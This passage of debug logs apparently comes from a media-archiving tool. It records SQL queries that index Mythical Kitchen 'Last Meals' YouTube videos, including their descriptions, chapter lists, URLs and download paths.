Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Priyanka Chopra Jonas Eats Her Last Meal", "80d9103a-c867-4931-b39e-73779470e344", "https://www.youtube.com/watch?v=NrFf7zEOGO4", false, "NrFf7zEOGO4", 3200, false, 93, "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", false, false, 1, [], 1, ~U[2026-03-03 11:00:28Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Priyanka Chopra Jonas eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS \n0:00 Priyanka's Last Meal\n0:20 Winner of the May Queen Ball \n2:20 Have You Thought About Your Last Meal Before?\n4:27 1st Course\n6:07 Hot Dogs, Hot Pockets, & a Hot Boy with Green Hair\n7:17 From India to Iowa\n9:30 Learning From Parents\n13:27 The Serendipitous Nature of the Universe\n14:55 2nd Course\n15:20 Kebab History\n20:44 Priyanka's First Movie\n21:45 Relationship to Religion\n24:00 Bollywood is not a Genre\n27:00 3rd Course\n29:40 Miss World Pageant Riddle\n31:56 How Far Would a Woman Go To Protect Her Family?\n34:18 Badass Female Pirates\n36:29 4th Course\n38:59 \"My Dad Was My Biggest Champion\"\n42:47 Nick Is a Wise Soul\n44:19 5th Course\n45:40 Love in Every Lifetime\n49:10 What Do You Think Happens When You Die?\n50:19 Lightning Round\n51:43 Priyanka's Last Words\n\nPick up official Mythical Kitchen merch at https://mythic.al/shop-kitchen\n\nJoin the Mythical Society: https://mythic.al/yt-msoc\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nA Hot Dog Is A Sandwhich: https://www.youtube.com/@ahotdogisasandwich\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Priyanka Chopra Jonas Eats Her Last Meal", "https://www.youtube.com/watch?v=NrFf7zEOGO4", "NrFf7zEOGO4", 3200, false, "/downloads/Last Meals/2026-03-03 Priyanka Chopra Jonas Eats Her Last Meal/Priyanka Chopra Jonas Eats Her Last Meal [NrFf7zEOGO4].mp4", false, 1, ~U[2026-03-03 11:00:28Z]] 20:49:32.377 [debug] QUERY OK source="sources" db=0.0ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.377 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-30 10:01:37Z], 1] 20:49:32.378 [debug] QUERY OK source="media_items" db=0.7ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Christoph Waltz eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Christoph's Last Meal\n1:11 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:22 1st Course\n8:05 How To Drink Milk Like A Villain\n9:37 The Social Damage Of Narcissim\n11:42 2nd Course\n12:57 Process Over Death\n16:49 The Allegory Of Frankenstein\n21:18 Working With Guillermo del Toro\n22:39 I'd Like To Laugh On My Deathbead\n23:25 3rd Course\n26:18 Living An Examined Life\n28:40 Abandon Your Certainty\n30:54 Working With Quentin Tarantino\n32:14 4th Course\n34:40 The Meaning Of Life\n36:33 Astrology Mapping\n37:48 What Do You Think Happens When You Die?\n39:33 Lightning Round\n40:53 Christoph's Last Words\n\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Christoph Waltz Eats His Last Meal", "a195dbce-f0c3-40cf-845f-8198c4a869b9", "https://www.youtube.com/watch?v=sBRbMvTlUok", false, "sBRbMvTlUok", 2498, false, 94, "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", false, false, 1, [], 1, ~U[2025-10-30 10:01:37Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Christoph Waltz eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFirst Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oJGpzg7kxsA5Xm0a9E8YInt\nCheat Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLH467HdBFcQKbu4jkxxM5Y\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Christoph's Last Meal\n1:11 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:22 1st Course\n8:05 How To Drink Milk Like A Villain\n9:37 The Social Damage Of Narcissim\n11:42 2nd Course\n12:57 Process Over Death\n16:49 The Allegory Of Frankenstein\n21:18 Working With Guillermo del Toro\n22:39 I'd Like To Laugh On My Deathbead\n23:25 3rd Course\n26:18 Living An Examined Life\n28:40 Abandon Your Certainty\n30:54 Working With Quentin Tarantino\n32:14 4th Course\n34:40 The Meaning Of Life\n36:33 Astrology Mapping\n37:48 What Do You Think Happens When You Die?\n39:33 Lightning Round\n40:53 Christoph's Last Words\n\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nSporked: https://www.youtube.com/@sporked/\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Christoph Waltz Eats His Last Meal", "https://www.youtube.com/watch?v=sBRbMvTlUok", "sBRbMvTlUok", 2498, false, "/downloads/Last Meals/2025-10-30 Christoph Waltz Eats His Last Meal/Christoph Waltz Eats His Last Meal [sBRbMvTlUok].mp4", false, 1, ~U[2025-10-30 10:01:37Z]] 20:49:32.378 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.378 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-18 10:01:04Z], 1] 20:49:32.379 [debug] QUERY OK source="media_items" db=0.7ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Marlon Wayans eats his last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Marlon's Last Meal\n0:49 Have You Thought About You Last Meal Before?\n1:10 How Often Do You Think About Death?\n2:10 1st Course\n3:15 Surprising Marlon With Moolah Mush\n5:57 The Finer Things In Life\n6:54 Taking Mom Out For Date Nights\n9:15 Marlon Is Josh's Zaddy\n11:10 The Legacy Of The Wayans\n13:10 Casting The Wayans Family Biopic\n13:34 Thank you, Kroger!!!\n14:06 2nd Course\n15:00 Filming Requiem For A Dream & Scary Movie At The Same Time\n16:56 Working With Jordan Peele\n18:26 Diving Into Darkness For HIM\n20:54 3rd Course\n21:30 How To Make Wayans Fried Chicken\n22:45 Grieving Dead Parents Through Comedy\n27:47 4th Course\n30:47 What Are You Willing To Sacrifice?\n32:07 Learning Acceptance & Healing From Your Kids\n33:53 What Do You Think Happens When You Die?\n34:19 Lightning Round\n35:13 Marlon's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Marlon Wayans Eats His Last Meal", "19ddac40-ddb4-4f52-a996-06241ff36f09", "https://www.youtube.com/watch?v=Y58vTc9kB2U", false, "Y58vTc9kB2U", 2177, false, 95, "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", false, false, 1, [], 1, ~U[2025-09-18 10:01:04Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Marlon Wayans eats his last meal. Thanks again to Kroger for sponsoring this video. #ad #Kroger @KrogerCo \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Marlon's Last Meal\n0:49 Have You Thought About You Last Meal Before?\n1:10 How Often Do You Think About Death?\n2:10 1st Course\n3:15 Surprising Marlon With Moolah Mush\n5:57 The Finer Things In Life\n6:54 Taking Mom Out For Date Nights\n9:15 Marlon Is Josh's Zaddy\n11:10 The Legacy Of The Wayans\n13:10 Casting The Wayans Family Biopic\n13:34 Thank you, Kroger!!!\n14:06 2nd Course\n15:00 Filming Requiem For A Dream & Scary Movie At The Same Time\n16:56 Working With Jordan Peele\n18:26 Diving Into Darkness For HIM\n20:54 3rd Course\n21:30 How To Make Wayans Fried Chicken\n22:45 Grieving Dead Parents Through Comedy\n27:47 4th Course\n30:47 What Are You Willing To Sacrifice?\n32:07 Learning Acceptance & Healing From Your Kids\n33:53 What Do You Think Happens When You Die?\n34:19 Lightning Round\n35:13 Marlon's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Marlon Wayans Eats His Last Meal", "https://www.youtube.com/watch?v=Y58vTc9kB2U", "Y58vTc9kB2U", 2177, false, "/downloads/Last Meals/2025-09-18 Marlon Wayans Eats His Last Meal/Marlon Wayans Eats His Last Meal [Y58vTc9kB2U].mp4", false, 1, ~U[2025-09-18 10:01:04Z]] 20:49:32.379 [debug] QUERY OK source="sources" db=0.0ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.380 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 10:01:37Z], 1] 20:49:32.388 [debug] QUERY OK source="media_items" db=7.9ms idle=1.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Victoria Justice eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Victoria's Last Meal\n0:19 Stalking Jennifer Aniston\n1:45 Have You Thought About Your Last Meal Before?\n2:27 How Often Do You Think About Death?\n3:39 1st Course\n5:29 More Famous Than Obama\n7:35 Jumping In For Miranda Cosgrove\n9:19 A Supportive Family\n11:00 New Projects & New Music\n13:06 Love For Sara Bareilles\n14:25 2nd Course\n16:32 From Nickelodeon To More Adult Roles\n17:50 Pitching Victorious\n19:23 Facing Internet Backlash & \"We All Sing\"\n22:24 3rd Course\n25:00 Bringing No Bad Vibes To The Afterlife\n26:07 Songwriting Is Like Farting\n27:02 Exploring South Africa\n30:00 4th Course\n31:19 Dreaming About Killer Whales & Taylor Swift\n32:58 Dealing With Grief\n34:58 Missing Christina Grimmie\n37:02 What Do You Think Happens When You Die?\n37:37 Lightning Round\n40:52 Victoria's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Victoria Justice Eats Her Last Meal", "dcb131a8-1a86-425d-82e8-1906d5b24624", "https://www.youtube.com/watch?v=ylGaf3FZ4Fk", false, "ylGaf3FZ4Fk", 2530, false, 96, "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", false, false, 1, [], 1, ~U[2025-05-13 10:01:37Z], ~U[2026-03-28 00:49:32Z], ~U[2026-03-28 00:49:32Z], "Today, Victoria Justice eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Victoria's Last Meal\n0:19 Stalking Jennifer Aniston\n1:45 Have You Thought About Your Last Meal Before?\n2:27 How Often Do You Think About Death?\n3:39 1st Course\n5:29 More Famous Than Obama\n7:35 Jumping In For Miranda Cosgrove\n9:19 A Supportive Family\n11:00 New Projects & New Music\n13:06 Love For Sara Bareilles\n14:25 2nd Course\n16:32 From Nickelodeon To More Adult Roles\n17:50 Pitching Victorious\n19:23 Facing Internet Backlash & \"We All Sing\"\n22:24 3rd Course\n25:00 Bringing No Bad Vibes To The Afterlife\n26:07 Songwriting Is Like Farting\n27:02 Exploring South Africa\n30:00 4th Course\n31:19 Dreaming About Killer Whales & Taylor Swift\n32:58 Dealing With Grief\n34:58 Missing Christina Grimmie\n37:02 What Do You Think Happens When You Die?\n37:37 Lightning Round\n40:52 Victoria's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Victoria Justice Eats Her Last Meal", "https://www.youtube.com/watch?v=ylGaf3FZ4Fk", "ylGaf3FZ4Fk", 2530, false, "/downloads/Last Meals/2025-05-13 Victoria Justice Eats Her Last Meal/Victoria Justice Eats Her Last Meal [ylGaf3FZ4Fk].mp4", false, 1, ~U[2025-05-13 10:01:37Z]] 20:49:32.388 [debug] QUERY OK source="sources" db=0.0ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:32.388 [debug] QUERY OK source="media_items" db=0.1ms idle=8.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-01-23 11:00:16Z], 1] 20:49:32.390 [debug] QUERY OK source="media_items" db=1.2ms idle=8.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Nigel Ng (Uncle Roger)'s last meal.\n\nCheck out Nigel's YouTube Channel - https://youtube.com/@mrnigelng\nAnd don't miss The HAIYAA Special - https://veeps.events/mrnigelng\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Nigel's Last Meal Menu\n1:11 How Often Do You Think About Death?\n1:32 Food In Asian Culture\n2:54 1st Course - Kaya Toast, Soft Boiled Eggs, Chili Pan Mee and Kopi Si Kosong\n4:53 Facing Criticism\n5:54 Where Uncle Roger's Accent Originated\n6:16 Malaysian Coffee Culture\n7:36 Pooping At The Gym\n8:29 Comedians & Accents\n10:24 2nd Course - Peking Duck, Fried Rice, & Puer Tea \n10:47 Uncle Roger Tries Our Fried Rice\n11:44 Promoting MSG\n13:43 Banned From China\n14:19 Calling Out Chefs On YouTube\n15:07 3rd Course - Silk Handkerchief Pasta, Blowtorch Otoro, Kimchi Jjigae, & Sake\n17:01 Banned From Karaoke\n18:34 Leaving Malaysia\n19:59 Full Time Data Scientist, Part Time Stand Up Comedian\n21:13 4th Course - Indomie, Boba Milk Tea, & Bubur Cha Cha\n22:22 Uncle Roger vs. Nigel Ng\n24:15 Death, Spirits, & The Afterlife\n25:38 Lightning Round\n25:36 Who's The One Person You'd Want To Share Your Last Meal With?\n26:08 Which Is Better, Cambodian Or Laotian Food?\n26:34 What Song Do You Want Played At Your Funeral?\n26:48 What's Your Biggest Fear?\n27:08 WYR: Orange Polo or Jamie Oliver's Food Forever?\n27:20 What's Your Greatest Regret?\n28:01 Are You Happy?\n28:09 Nigel's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an 